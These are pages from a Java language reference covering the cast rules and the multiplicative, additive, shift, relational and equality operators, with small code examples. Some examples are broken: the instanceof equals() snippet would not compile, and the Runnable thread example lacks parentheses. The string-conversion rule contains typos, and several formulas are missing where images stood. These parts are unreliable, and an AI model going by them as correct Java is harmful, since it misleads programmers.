Because it is not possible to convert between all types, some cast operations are permitted and others are not. Here are the rules governing casts:

  • A value of any data type can be cast to its own type.

  • A value of any arithmetic data type can be cast to any other arithmetic data type. Casting a floating-point value to an integer data type rounds toward zero.

  • A value of the boolean data type cannot be cast to any other data type, nor can a value of any other data type be cast to boolean.

  • A value of any primitive data type cannot be cast to a reference data type, nor can a reference be cast to any primitive data type.

  • A reference to a class type can be cast to the type of the superclass of that class.

  • A reference to a class type can be cast to the type of a subclass of that class if the reference actually refers to an object of the specified class or any of its subclasses. Unless the Java compiler can prove that the object actually referenced is of the specified class or any of its subclasses, the compiler must generate a runtime test to verify that the object is of an appropriate type. At runtime, if the object actually referenced is not of an appropriate type, a ClassCastException is thrown. Consider the following example:

    Object o = "ABC";
String s = (String)o;   // This is okay
Double d = (Double)o;   // Throws an exception

    The cast of o to String is fine because o is really a reference to a String object. The cast of o to Double throws an exception at runtime because the object that o references is not an instance of Double.

  • A reference to a class type can be cast to an interface type if the reference actually refers to an object of a class that implements the specified interface. If the class of the reference being cast is a final class, the compiler can determine if the reference actually refers to an object of a class that implements the specified interface, because a final class cannot have any subclasses. Otherwise, the compiler must generate a runtime test to determine if the reference actually refers to an object of a class that implements the specified interface. At runtime, if the object actually referenced is not of a class that implements the interface, a ClassCastException is thrown. Here is an example that illustrates the rules governing casts to interface types:

    interface Weber { double flux(double x); }
class B {}
final class C {}
class D implements Weber {
    public double flux(double x) {
        return Math.PI*x*x;
    }
}
class Intercast {
    public void main(String[] argv) {
        B b = new B();
        C c = new C();
        D d = new D();
        Weber w;
        w = (Weber)b;   // Throws an exception
        w = (Weber)c;   // Compiler complains
        w = (Weber)d;   // Okay, D implements Weber
    }
}

    The cast of b to Weber is fine with the compiler because the class B might have a subclass that implements Weber. At runtime, however, this cast throws an exception because B does not implement Weber. The cast of c to Weber produces an error message from the compiler, as the C class does not implement Weber. Because C is final, it will not have any subclasses and therefore there is no possibility of c containing a reference to an object that implements the Weber interface. The cast of d to Weber is fine because the D class implements the Weber interface.

  • A reference to the class Object can be cast to an array type if the reference actually refers to an array object of the specified type. The compiler generates a runtime test to determine if the reference actually refers to the specified type of array object. At runtime, if the object actually referenced is not the specified type of array, a ClassCastException is thrown.

  • A reference to an interface type can be cast to a class type if the reference actually refers to an instance of the specified class or any of its subclasses. If the specified class is a final class that does not implement the referenced interface, the compiler can reject the cast because a final class cannot have any subclasses. Otherwise, the compiler generates a runtime test to determine if the reference actually refers to an object of the appropriate type. At runtime, if the object actually referenced is not of the appropriate type, a ClassCastException is thrown.

    Here is an example to illustrate these points:

    interface Weber { double flux(double x); }
class B {}
final class C {}
class D implements Weber {
    public double flux(double x) {
        return Math.PI*x*x;
    }
}
class Intercast {
    public void doit(Weber w) {
        B b = (B)w;   // May throw an exception
        C c = (C)w;   // Compiler complains
        D d = (D)w;   // Okay
    }
}

    The cast of w to class B is fine with the compiler even though B does not implement Weber. The compiler lets it pass because B might have a subclass that implements Weber and w could contain a reference to that class. However, at runtime, the cast will throw an exception if the object actually referenced is not an instance of B or a subclass of B. The cast of w to class C produces an error message from the compiler. C does not implement Weber and C cannot have any subclasses because it is final; any object that implements Weber cannot be an instance of C. The cast of w to class D is fine at compile-time because D implements Weber. At runtime, if w references an object that is not an instance of D, a ClassCastException is thrown.

  • A reference to an interface type can be cast to another interface type if the reference actually refers to an object of a class that implements the specified interface. If the referenced interface extends the specified interface, the compiler knows that the cast is legal. Otherwise, the compiler generates a runtime test to determine if the reference actually refers to an object that implements the specified interface. At runtime, if the object actually referenced does not implement the specified interface, a ClassCastException is thrown.

    Here is an example to illustrate these points:

    interface Weber { double flux(double x); }
interface Dyn { double squeeze(); }
interface Press extends Dyn {
    double squeeze(double theta);
}
class D implements Press {
    public double squeeze() { return Math.PI; }
    public double squeeze(double theta) {
        return Math.PI*Math.sin(theta);
    }
}
class Interinter {
    public static void doit(D d) {
        Dyn dyn = d;          // Okay
        Weber w = (Weber)d;   // May throw exception
    }
}

    The assignment of d to dyn works because d is of class D, D implements Press, and Press extends Dyn. Therefore, d refers to an object that implements Dyn and we have assignment compatibility. The compiler lets the cast of d to Weber pass because there may be a subclass of D that implements Weber. At runtime, the cast will throw an exception if D does not implement Weber.

  • A reference to an array object can be cast to the class type Object.

  • A reference to an array object can be cast to another array type if either of the following is true:

    • The elements of the referenced array and the elements of the specified array type are of the same primitive type.

    • The elements of the referenced array are of a type that can be cast to the type of the elements of the specified array type.

Any cast operation not covered by the preceding rules is not allowed and the Java compiler issues an error message.

References
Arithmetic Types;
Array Types;
Boolean Type;
Class Types;
Interface Types;
Runtime exceptions

Previous | Home | Next
Increment/Decrement Operators | Book Index | Multiplicative Operators
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.5 Multiplicative Operators

Java Language Reference

Previous Chapter 4
Expressions 		Next

4.5 Multiplicative Operators

The multiplicative operators in Java are binary operators that are used for multiplication (*), division (/), and the remainder operation (%). The multiplicative operators appear in multiplicative expressions:

[Graphic: Figure from the text]

The multiplicative operators are equal in precedence and are evaluated from left to right.

References Unary Operators; Order of Operations

Multiplication Operator *

The binary multiplication operator * produces a pure value that is the product of its operands. The * operator may appear in a multiplicative expression. The multiplication operator never throws an exception.

Here is an example that uses the multiplication operator:

int doubleIt(int x) {
    return x*2;
}

The types of both operands of the multiplication operator must be arithmetic types, or a compile-time error occurs. The * operator may perform type conversions on its operands:

  • If either operand is of type double, the other operand is converted to double and the operation produces a double value.

  • Otherwise, if either operand is of type float, the other operand is converted to float and the operation produces a float value.

  • Otherwise, if either operand is of type long, the other operand is converted to long and the operation produces a long value.

  • Otherwise, both operands are converted to int and the operation produces an int value.

If the multiplication of integer data overflows, the low order bits of the product are returned; no exception is thrown. The most significant bit of the low order bits is treated as a sign bit. When overflow occurs, the sign of the number produced may not be the same as the sign of the mathematically correct product, due to the limitations of the two's complement representation used for integer data.

The multiplication of floating-point data is governed by the following rules:

  • If either operand is not-a-number (NaN), the product is NaN.

  • If neither operand is NaN and if both operands have the same sign, the product is positive.

  • If neither operand is NaN and if the operands have different signs, the product is negative.

  • If one of the operands is positive or negative infinity and the other operand is positive or negative zero, the product is NaN.

  • If one of the operands is an infinity value and the other operand is neither zero nor NaN, the product is either positive or negative infinity, as determined by the rules governing the sign of products.

  • If neither operand is a zero value, an infinity value, or NaN, the product is rounded to the nearest representable value. If the magnitude of the product is too large to be represented, the operation overflows and an infinity value of the appropriate sign is produced. If the magnitude of the product is too small to be represented, the operation underflows and a zero value of the appropriate sign is produced.

References Arithmetic Types

Division Operator /

The binary division operator / produces a pure value that is the quotient of its operands. The left operand is the dividend and the right operand is the divisor. The / operator may appear in a multiplicative expression.

Here is an example that uses the division operator:

int halfIt(int x) {
    return x/2;
}

The types of both operands of the division operator must be arithmetic types, or a compile-time error occurs. The / operator may perform type conversions on its operands:

  • If either operand is of type double, the other operand is converted to double and the operation produces a double value.

  • Otherwise, if either operand is of type float, the other operand is converted to float and the operation produces a float value.

  • Otherwise, if either operand is of type long, the other operand is converted to long and the operation produces a long value.

  • Otherwise, both operands are converted to int and the operation produces an int value.

The division of integer data rounds toward zero. If the divisor of an integer division operator is zero, an ArithmeticException is thrown. If the dividend is Integer.MIN_VALUE or Long.MIN_VALUE and the divisor is -1, the quotient produced is Integer.MIN_VALUE or Long.MIN_VALUE, due to the limitations of the two's complement representation used for integer data.

The division of floating-point data is governed by the following rules:

  • If either operand is not-a-number (NaN), the quotient is NaN.

  • If neither operand is NaN and if both operands have the same sign, the quotient is positive.

  • If neither operand is NaN and if the operands have different signs, the quotient is negative.

  • If both of the operands are positive or negative infinity, the quotient is NaN.

  • If the dividend is an infinity value and the divisor is a finite number, the quotient is either positive or negative infinity, as determined by the rules governing the sign of quotients.

  • If the dividend is a finite number and the divisor is an infinity value, the quotient is either positive or negative zero, as determined by the rules governing the sign of quotients.

  • If the divisor is positive or negative zero and the dividend is not zero or NaN, the quotient is either positive or negative infinity, as determined by the rules governing the sign of quotients.

  • If both operands are zero values, the quotient is NaN.

  • If the dividend is a zero value and the divisor is a non-zero finite number, the quotient is either positive or negative zero, as determined by the rules governing the sign of quotients.

  • If the dividend is a non-zero finite number and the divisor is a zero value, the quotient is either positive or negative infinity, as determined by the rules governing the sign of quotients.

  • If neither operand is a zero value, an infinity value, or NaN, the quotient is rounded to the nearest representable value. If the magnitude of the quotient is too large to be represented, the operation overflows and an infinity value of the appropriate sign is produced. If the magnitude of the quotient is too small to be represented, the operation underflows and a zero value of the appropriate sign is produced.

References
Arithmetic Types;
Integer;
Long;
Runtime exceptions

Remainder Operator %

The binary remainder operator % produces a pure value that is the remainder from an implied division of its operands. The left operand is the dividend and the right operand is the divisor. The % operator may appear in a multiplicative expression.

Here is an example that uses the remainder operator:

// format seconds into hours, minutes and seconds
String formatTime(int t) {
    int minutes, seconds;
    seconds = t%60;
    t /= 60;
    minutes = t%60;
    return t/60 + ":" + minutes + ":" + seconds;
}

The types of both operands of the remainder operator must be arithmetic types, or a compile-time error occurs. The % operator may perform type conversions on its operands:

  • If either operand is of type double, the other operand is converted to double and the operation produces a double value.

  • Otherwise, if either operand is of type float, the other operand is converted to float and the operation produces a float value.

  • Otherwise, if either operand is of type long, the other operand is converted to long and the operation produces a long value.

  • Otherwise, both operands are converted to int and the operation produces an int value.

When the remainder operation is performed on integer data, the following expression is guaranteed to produce the same value as a%b:

a-((a/b)*b)

The sign of the value produced by the remainder operator is always the sign of the dividend. The magnitude of the value produced by the remainder operator is always less than the absolute value of the divisor. If the divisor is zero, an ArithmeticException is thrown.

Unlike C/C++, Java provides a remainder operation for floating-point data. The remainder of floating-point data is computed in a manner similar to the remainder of integer data. The remainder operation uses a truncating division to compute its value. This is unlike the IEEE 754 remainder operation, which uses a rounding division. The IEEE remainder operation is provided by the Math.IEEEremainder() method.

The computation of the remainder of double and float data is governed by the following rules:

  • If either operand is not-a-number (NaN), the remainder is NaN.

  • If neither operand is NaN, the sign of the remainder is the same as the sign of the dividend.

  • If the dividend is positive or negative infinity or the divisor is positive or negative zero, the remainder is NaN.

  • If the dividend is a finite number and the divisor is an infinity value, the remainder is equal to the dividend.

  • If the dividend is a zero value and the divisor is a finite number, the remainder is equal to the dividend.

  • If neither operand is a zero value, an infinity value, or NaN, the remainder is computed according to the following mathematical formula:

    p is the dividend and d is the divisor. The notation [image] means the greatest integer less than or equal to x ; this is called the floor operation.

References Arithmetic Types; Math; Runtime exceptions

Previous | Home | Next
Unary Operators | Book Index | Additive Operators
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.6 Additive Operators

Java Language Reference

Previous Chapter 4
Expressions 		Next

4.6 Additive Operators

The additive operators in Java are binary operators that are used for addition and string concatenation (+) and subtraction (-). The additive operators appear in additive expressions.

[Graphic: Figure from the text]

The additive operators are equal in precedence and are evaluated from left to right.

References Multiplicative Operators; Order of Operations

Arithmetic Addition Operator +

The binary arithmetic addition operator + produces a pure value that is the sum of its operands. The arithmetic + operator may appear in an additive expression. The arithmetic addition operator never throws an exception.

Here is an example that uses the arithmetic addition operator:

int addThree (int x, int y, int z) {
    return x + y + z;
}

If the type of either operand of + is a reference to a String object, the operator is the string concatenation operator, not the arithmetic addition operator. The string concatenation operator is described in String Concatenation Operator +.

Otherwise, the types of both operands of the arithmetic addition operator must be arithmetic types, or a compile-time error occurs. The + operator may perform type conversions on its operands:

  • If either operand is of type double, the other operand is converted to double and the operation produces a double value.

  • Otherwise, if either operand is of type float, the other operand is converted to float and the operation produces a float value.

  • Otherwise, if either operand is of type long, the other operand is converted to long and the operation produces a long value.

  • Otherwise, both operands are converted to int and the operation produces an int value.

If the addition of integer data overflows, the value produced by + contains the low order bits of the sum and the sign of the value is the opposite of the mathematically correct sign, due to the limitations of the two's complement representation used for integer data.

The addition of floating-point data is governed by the following rules:

  • If either operand is not-a-number (NaN), the sum is NaN.

  • If one operand is positive infinity and the other is negative infinity, the sum is NaN.

  • If both of the operands are positive infinity, the sum is positive infinity.

  • If both of the operands are negative infinity, the sum is negative infinity.

  • If one of the operands is an infinity value and the other operand is a finite value, the sum is the same infinity value as the operand.

  • If one operand is positive zero and the other is negative zero; the sum is positive zero.

  • If both operands are positive zero, the sum is positive zero.

  • If both operands are negative zero, the sum is negative zero.

  • If neither operand is NaN nor an infinity value, the sum is rounded to the nearest representable value. If the magnitude of the sum is too large to be represented, the operation overflows and an infinity value of the appropriate sign is produced. If the magnitude of the sum is too small to be represented, the operation underflows and a zero value of the appropriate sign is produced.

References Arithmetic Types; String Concatenation Operator +

Arithmetic Subtraction Operator -

The binary subtraction operator - produces a pure value that is the difference between its operands; it subtracts its right operand from its left operand. The arithmetic - operator may appear in an additive expression. The arithmetic subtraction operator never throws an exception.

Here is an example that uses the arithmetic subtraction operator:

int subThree (int x, int y, int z) {
    return x - y - z;
}

The types of both operands of the arithmetic subtraction operator must be arithmetic types, or a compile-time error occurs. The - operator may perform type conversions on its operands:

  • If either operand is of type double, the other operand is converted to double and the operation produces a double value.

  • Otherwise, if either operand is of type float, the other operand is converted to float and the operation produces a float value.

  • Otherwise, if either operand is of type long, the other operand is converted to long and the operation produces a long value.

  • Otherwise, both operands are converted to int and the operation produces an int value.

For both integer and floating-point data, a-b always produces the same result as a-(+b).

If the subtraction of integer data overflows, the value produced by - contains the low order bits of the difference and the sign of the value is the opposite of the mathematically correct sign, due to the limitations of the two's complement representation used for integer data.

The subtraction of floating-point data is governed by the following rules:

  • If either operand is not-a-number (NaN), the difference is NaN.

  • If the left operand is positive infinity and the right operand is negative infinity, the difference is positive infinity.

  • If the left operand is negative infinity and the right operand is positive infinity, the difference is negative infinity.

  • If both operands are positive infinity, the difference is NaN.

  • If both operands are negative infinity, the difference is NaN.

  • If the left operand is an infinity value and the right operand is a finite value, the difference is the same infinity value as the left operand.

  • If the left operand is a finite value and the right argument is an infinity value, the difference is the opposite infinity value of the right operand.

  • If both operands are either positive zero or negative zero, the difference is positive zero.

  • If the left operand is positive zero and the right operand is negative zero, the difference is positive zero.

  • If the left operand is negative zero and the right operand is positive zero, the difference is negative zero.

  • If neither operand is NaN nor an infinity value, the difference is rounded to the nearest representable value. If the magnitude of the difference is too large to be represented, the operation overflows and an infinity value of the appropriate sign is produced. If the magnitude of the difference is too small to be represented, the operation underflows and a zero value of the appropriate sign is produced.

References Arithmetic Types

String Concatenation Operator +

The string concatenation operator + produces a pure value that is a reference to a String object that it creates. The String object contains the concatenation of the operands; the characters of the left operand precede the characters of the right operand in the newly created string. The string concatenation + operator may appear in an additive expression.

Here is an example of some code that uses the string concatenation operator:

// format seconds into hours, minutes, and seconds
String formatTime(int t) {
    int minutes, seconds;
    seconds = t%60;
    t /= 60;
    minutes = t%60;
    return t/60 + ":" + minutes + ":" + seconds;
}

If neither operand of + is a reference to a String object, the operator is the arithmetic addition operator, not the string concatenation operator. Note that Java does not allow a program to define overloaded operators. However, the language defines the + operator to have a meaning that is fundamentally different from arithmetic addition if at least one of its operands is a String object.

The way in which Java decides if + means arithmetic addition or string concatenation means that the use of parentheses can alter the meaning of the + operator. Consider the following code:

int x = 3, y = 4;
System.out.println("x = " + x + ", y = " + y);
System.out.println("\"??\" + x + y ==> " + "??" + x + y);
System.out.println("\"??\" + (x + y) ==> " + "??"+ (x + y));

In the output from this code, you can see that the addition of parentheses changes the meaning of the last + from string concatenation to arithmetic addition:

x = 3, y = 4
"??" + x + y ==> ??34
"??" + (x + y) ==> ??7

If one of the operands of + is a String object and the other is not, the operand that is not a String object is converted to one using the following rules:

  • If the operand is an object reference that is null, it is converted to the string literal "null".

  • If the operand is a non-null reference to an object that is not a string, the object's toString() method is called. The result of the conversion is the string value returned by the object's toString() method, unless the return value is null, in which case the result of the conversion is the string literal "null". Since the Object class defines a toString() method, every class in Java has such a method.

  • If the type of the operand is char, the operand is converted to a reference to a String object that has a length of one and contains that character.

  • If the type of the operand is an integer type other than char, the operand is converted to a base 10 string representation of its value. If the value is negative, the string value starts with a minus sign; if it is positive there is no sign character. If the value is zero, the result of the conversion is "0". Otherwise, the string representation of the integer does not have any leading zeros.

  • If the type of the operand is a floating-point type, the exact string representation depends on the value being converted. If the absolute value of d is greater than or equal to 10^-3 or less than or equal to 10^7, it is converted to a string with an optional minus sign (if the value is negative) followed by up to eight digits before the decimal point, a decimal point, and the necessary number of digits after the decimal point (but no trailing zero if there is more than one significant digit). There is always a minimum of one digit after the decimal point.

    Otherwise, the value is converted to a string with an optional minus sign (if the value is negative), followed by a single digit, a decimal point, the necessary number of digits after the decimal point (but no trailing zero if there is more than one significant digit), and the letter E followed by a plus or a minus sign and a base 10 exponent of at least one digit. Again, there is always a minimum of one digit after the decimal point.

    In addition, the values NaN, NEGATIVE_INFINITY, POSITIVE_INFINITY, -0.0, and +0.0 are represented by the strings "NaN", "--Infinity", "Infinity", "--0.0", and "0.0", respectively.

    Note that the specification for this conversion has changed as of Java 1.1. Prior to that release, the conversion provided a string representation that was equivalent to the %g format of the printf function in C. In addition, the string representations of the infinity values, the zero values, and NaN are not specified prior to Java 1.1.

  • If the type of the operand is boolean, the value is converted to a reference to either the string literal "true" or the string literal "false".

Java uses the StringBuffer object to implement string concatenation. Consider the following code:

String s, s1,s2;
s = s1 + s2;

To compute the string concatenation, Java compiler generates code equivalent to:

s = new StringBuffer().append(s1).append(s2).toString();

Consider another expression:

s = 1 + s1 + 2

In this case, the Java compiler generates code equivalent to:

s = new StringBuffer().append(1).append(s1).append(2).toString()

No matter how many strings are being concatenated in an expression, the expression always produces exactly one StringBuffer object and one String object.[3] From an efficiency standpoint, if you concatenate more than two strings, it may be more efficient to do so in a single expression, rather than in multiple expressions.

[3] Although an optimizing compiler should be smart enough to combine multiple concatenation expressions when it is advantageous, the compiler provided with Sun's reference implementation of Java does not do this.

References
Arithmetic Addition Operator +;
Object;
String;
StringBuffer

Previous | Home | Next
Multiplicative Operators | Book Index | Shift Operators
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.7 Shift Operators

Java Language Reference

Previous Chapter 4
Expressions 		Next

4.7 Shift Operators

The shift operators in Java are used for left shift (<<), right shift (>>), and unsigned right shift (>>>) operations. The shift operators may appear in a shift expression:

[Graphic: Figure from the text]

The shift operators are equal in precedence and are evaluated from left to right.

References Additive Operators; Order of Operations

Left Shift Operator <<

The left shift operator << produces a pure value that is its left operand left-shifted by the number of bits specified by its right operand. The << operator may appear in a shift expression. The left shift operator never throws an exception.

Here are some examples of the left shift operator:

(3<<2) == 12
(-3<<2) == -12
(0x01234567<<4) == 0x12345670
(0xF1234567<<4) == 0x12345670

The type of each operand of the left shift operator must be an integer data type, or a compile-time error occurs. The << operator may perform type conversions on its operands; unlike arithmetic binary operators, each operand is converted independently. If the type of an operand is byte, short, or char, that operand is converted to an int before the value of the operator is computed. The type of the value produced by the left shift operator is the type of its left operand.

If the converted type of the left operand is int, only the five least significant bits of the value of the right operand are used as the shift distance. Therefore, the shift distance is in the range 0 through 31. In this case, the value produced by r << s is mathematically equivalent to:

If the type of the left operand is long, only the six least significant bits of the value of the right operand are used as the shift distance. Therefore, the shift distance is in the range 0 through 63. In this case, the value produced by r << s is mathematically equivalent to:

References Integer types

Right Shift Operator >>

The right shift operator >> produces a pure value that is its left operand right-shifted with sign extension by the number of bits specified by its right operand. Right-shifting with sign extension means that shifting a value n places to the right causes the n high order bits to contain the same value as the sign bit of the unshifted value. The >> operator may appear as part of a shift expression. The right shift operator never throws an exception. Here are some examples of the right shift operator:

(0x01234567>>4) == 0x00123456
(0xF1234567>>4) == 0xFF123456

The type of each operand of the right shift operator must be an integer data type, or a compile-time error occurs. The >> operator may perform type conversions on its operands; unlike arithmetic binary operators, each operand is converted independently. If the type of an operand is byte, short, or char, that operand is converted to an int before the value of the operator is computed. The type of the value produced by the right shift operator is the type of its left operand.

If the converted type of the left operand is int, only the five least significant bits of the value of the right operand are used as the shift distance. Therefore, the shift distance is in the range 0 through 31.

In this case, the value produced by r >> s is mathematically equivalent to:

The notation [image] means the greatest integer less than or equal to x ; this is called the floor operation.

If the type of the left operand is long, only the six least significant bits of the value of the right operand are used as the shift distance. Therefore, the shift distance is in the range 0 through 63. In this case, the value produced by r >> s is mathematically equivalent to:

References Integer types

Unsigned Right Shift Operator >>>

The unsigned right shift operator >>> produces a pure value that is its left operand right-shifted with zero extension by the number of bits specified by its right operand. Right-shifting with zero extension means that shifting a value n places to the right causes the n high order bits to contain zero. The >>> operator may appear as part of a shift expression. The unsigned right shift operator never throws an exception.

Here are some examples of the unsigned right shift operator:

(0x01234567>>>4) == 0x00123456
(0xF1234567>>>4) == 0x0F123456

The type of each operand of the unsigned right shift operator must be an integer data type, or a compile-time error occurs. The >>> operator may perform type conversions on its operands; unlike arithmetic binary operators, each operand is converted independently. If the type of an operand is byte, short, or char, that operand is converted to an int before the value of the operator is computed. The type of the value produced by the unsigned right shift operator is the type of its left operand. If the converted type of the left operand is int, only the five least significant bits of the value of the right operand are used as the shift distance. So, the shift distance is in the range 0 through 31. Here, the value produced by r >>> s is the same as:

s==0 ? r : (r >> s) & ~(-1<<(32-s))

If the type of the left operand is long, then only the six least significant bits of the value of the right operand are used as the shift distance. So, the shift distance is in the range 0 through 63. Here, the value produced by r >>> s is the same as the following:

s==0 ? r : (r >> s) & ~(-1<<(64-s))

References Integer types

Previous | Home | Next
Additive Operators | Book Index | Relational Comparison Operators
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.8 Relational Comparison Operators

Java Language Reference

Previous Chapter 4
Expressions 		Next

4.8 Relational Comparison Operators

The relational comparison operators in Java are used for less than (<), less than or equal to (<=), greater than or equal to (>=), greater than (>), and instanceof comparison operations. They may appear in a relational expression:

[Graphic: Figure from the text]

The relational comparison operators are equal in precedence and are evaluated from left to right. The <, <=, >=, and > operators are numerical comparison operators, while instanceof is a type comparison operator. All of these operators produce boolean values.

References Shift Operators; Order of Operations; Type 3

Less-Than Operator <

The less-than operator < performs a comparison between its operands and returns a boolean value. It returns the pure value true if its left operand is less than its right operand; otherwise the operator returns the pure value false. The < operator may appear as part of a relational expression. The less-than operator never throws an exception.

The types of both operands of the less-than operator must be arithmetic types, or a compile-time error occurs. The < operator may perform type conversions on its operands:

  • If either operand is of type double, then the other operand is converted to double.

  • Otherwise, if either operand is of type float, the other operand is converted to float.

  • Otherwise, if either operand is of type long, the other operand is converted to long.

  • Otherwise, both operands are converted to int.

The comparison of any two arithmetic values produces true if the value of the left operand is less than the value of the right operand; otherwise the comparison produces false. The comparison of floating-point data is governed by the following additional rules:

  • If either operand is not-a-number (NaN), the comparison produces false.

  • Negative infinity is the most negative value. If the left operand is negative infinity, the comparison produces true, unless the right operand is also negative infinity, in which case the comparison produces false.

  • Positive infinity is the most positive value. If the right operand is positive infinity, the comparison produces true, unless the left operand is also positive infinity, in which case the comparison produces false.

  • Positive and negative zero are treated as equal, so -0.0 < 0.0 produces false.

References Arithmetic Types

Less-Than-Or-Equal-To Operator <=

The less-than-or-equal-to operator <= performs a comparison between its operands and returns a boolean value. It returns the pure value true if its left operand is less than or equal to its right operand; otherwise the operator returns the pure value false. The <= operator may appear as part of a relational expression. The less-than-or-equal-to operator never throws an exception.

The types of both operands of the less-than-or-equal-to operator must be arithmetic types, or a compile-time error occurs. The <= operator may perform type conversions on its operands:

  • If either operand is of type double, then the other operand is converted to double.

  • Otherwise, if either operand is of type float, the other operand is converted to float.

  • Otherwise, if either operand is of type long, the other operand is converted to long.

  • Otherwise, both operands are converted to int.

The comparison of any two arithmetic values produces true if the value of the left operand is less than or equal to the value of the right operand; otherwise the comparison produces false. The comparison of floating-point data is governed by the following additional rules:

  • If either operand is not-a-number (NaN), the comparison produces false.

  • Negative infinity is the most negative value. If the left operand is negative infinity, the comparison always produces true.

  • Positive infinity is the most positive value. If the right operand is positive infinity, the comparison always produces true.

  • Positive and negative zero are treated as equal, so 0.0 <= -0.0 produces true.

References Arithmetic Types

Greater-Than-Or-Equal-To Operator >=

The greater-than-or-equal-to operator >= performs a comparison between its operands and returns a boolean value. It returns the pure value true if its left operand is greater than or equal to its right operand; otherwise the operator returns the pure value false. The >= operator may appear as part of a relational expression. The greater-than-or-equal-to operator never throws an exception.

The types of both operands of the greater-than-or-equal-to operator must be arithmetic types, or a compile-time error occurs. The >= operator may perform type conversions on its operands:

  • If either operand is of type double, then the other operand is converted to double.

  • Otherwise, if either operand is of type float, the other operand is converted to float.

  • Otherwise, if either operand is of type long, the other operand is converted to long.

  • Otherwise, both operands are converted to int.

The comparison of any two arithmetic values produces true if the value of the left operand is greater than or equal to the value of the right operand; otherwise the comparison produces false. The comparison of floating-point data is governed by the following additional rules:

  • If either operand is not-a-number (NaN), the comparison produces false.

  • Negative infinity is the most negative value. If the right operand is negative infinity, the comparison always produces true.

  • Positive infinity is the most positive value. If the left operand is positive infinity, the comparison always produces true.

  • Positive and negative zero are treated as equal, so -0.0 >= 0.0 produces true.

References Arithmetic Types

Greater-Than Operator >

The greater-than operator > performs a comparison between its operands and returns a boolean value. It returns the pure value true if its left operand is greater than its right operand; otherwise the operator returns the pure value false. The > operator may appear as part of a relational expression. The greater-than operator never throws an exception.

The types of both operands of the greater-than operator must be arithmetic types, or a compile-time error occurs. The > operator may perform type conversions on its operands:

  • If either operand is of type double, then the other operand is converted to double.

  • Otherwise, if either operand is of type float, the other operand is converted to float.

  • Otherwise, if either operand is of type long, the other operand is converted to long.

  • Otherwise, both operands are converted to int.

The comparison of any two arithmetic values produces true if the value of the left operand is greater than the value of the right operand; otherwise the comparison produces false. The comparison of floating-point data is governed by the following additional rules:

  • If either operand is not-a-number (NaN), the comparison produces false.

  • Negative infinity is the most negative value. If the right operand is negative infinity, the comparison produces true, unless the left operand is also negative infinity, in which case the comparison produces false.

  • Positive infinity is the most positive value. If the left operand is positive infinity, the comparison produces true, unless the right operand is also positive infinity, in which case the comparison produces false.

  • Positive and negative zero are treated as equal, so 0.0 > -0.0 produces false.

References Arithmetic Types

The instanceof Operator

The instanceof operator performs a type comparison between its operands and returns a boolean value. It returns the pure value true if the object referred to by the left operand can be cast to the type specified as the right operand; otherwise the operator returns the pure value false. If the value of the left operand is null, the instanceof operator returns the pure value false. The instanceof operator may appear as part of a relational expression. The instanceof operator never throws an exception.

The type of the left operand of the instanceof operator must be a reference type, or a compile-time error occurs.

All objects inherit a method called equals() from the Object class. The equals() method defined in the Object class returns true if the two objects being compared are the same object. For some classes, it is more appropriate to override the equals() method so that it compares the contents of two objects. Before such a method can do the comparison, it should verify that the objects are instances of the same class by using instanceof. For example, let's suppose that you are defining a class to represent complex numbers. Since you want the equals() method to compare the contents of complex number objects, you define an equals method for the complex number class that looks like this:

boolean equals (Object o) {
   if (o instanceof complexNumber)
       return o.real == this.real
           && o.imaginary == this.imaginary;
}

The instanceof operator can also be used to find out if an object is an instance of a class that implements an interface. For example:

if (o instanceof Runnable)
    (new Thread((Runnable)o).start;

References Casts; Class Types; Interface Types

Previous | Home | Next
Shift Operators | Book Index | Equality Comparison Operators
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.9 Equality Comparison Operators

Java Language Reference

Previous Chapter 4
Expressions 		Next

4.9 Equality Comparison Operators

The equality comparison operators in Java are used for equal-to (==) and not-equal-to (!=) comparison operations. The equality comparison operators may appear in an equality expression:

[Graphic: Figure from the text]

The equality comparison operators are equal in precedence and are evaluated from left to right. The == and != comparison operators can perform numerical comparisons, boolean comparisons, and reference type comparisons. Both of these operators produce boolean values.

References Relational Comparison Operators; Order of Operations

Equal-To Operator ==

The equal-to operator == performs a comparison between its operands and returns a boolean value. It returns the pure value true if the operands are equal to each other; otherwise it returns the pure value false. The == operator may appear as part of an equality expression. The equal-to operator never throws an exception.

The operands of == may be of any type, but they must both be of the same kind of type or a compile-time error occurs. If one operand is of an arithmetic type, the other must also be of an arithmetic type. If one operand is of type boolean, the other must also be of type boolean. If one operand is a reference type, the other must also be a reference type. Note that neither operand can be an expression that invokes a void method.

If both operands are of arithmetic types, then the operator performs an arithmetic equality comparison. The operator may perform type conversions on the operands:

  • If either operand is of type double, then the other operand is converted to double.

  • Otherwise, if either operand is of type float, the other operand is converted to float.

  • Otherwise, if either operand is of type long, the other operand is converted to long.

  • Otherwise, both operands are converted to int.

The equality comparison of any two arithmetic values produces true if and only if both operands are the same value; otherwise the comparison produces false. The comparison of floating-point data is governed by the following additional rules:

  • If either operand is not-a-number (NaN), the comparison produces false.

  • Positive infinity is a distinct value that is equal to itself, and not equal to any other value.

  • Negative infinity is a distinct value that is equal to itself, and not equal to any other value.

  • Positive and negative zero are treated as equal, so -0.0==0.0 produces true.

If both operands are boolean values, the operator performs a Boolean equality comparison. The comparison produces true if both operands are true or both operands are false. Otherwise, the comparison produces false.

If both operands are reference types, the operator performs an object equality comparison. In order to perform this type of comparison, it must be possible to cast the value of one of the operands to the type of the other operand, or a compile-time error occurs. The comparison produces true if both of its operands refer to the same object or if both of its operands are null; otherwise the comparison produces false.

Because the == operator determines if two objects are the same object, it is not appropriate for comparisons that need to determine if two objects have the same contents. For example, if you need to know whether two String objects contain the same sequences of characters, the == operator is inappropriate. You should use the equals() method instead:[4]

[4] This is similar to the difference in C between writing string1==string2 and strcmp(string1, string2)==0.

string1.equals (string2)  // Compares contents of strings
string1 == string2        // Compares actual string objects

References Arithmetic Types; Boolean Type; Reference Types

Not-Equal-To-Operator !=

The not-equal-to operator != performs a comparison between its operands and returns a boolean value. It returns the pure value true if the operands are not equal to each other; otherwise it returns the pure value false. The != operator may appear as part of an equality expression. The not-equal-to operator never throws an exception.

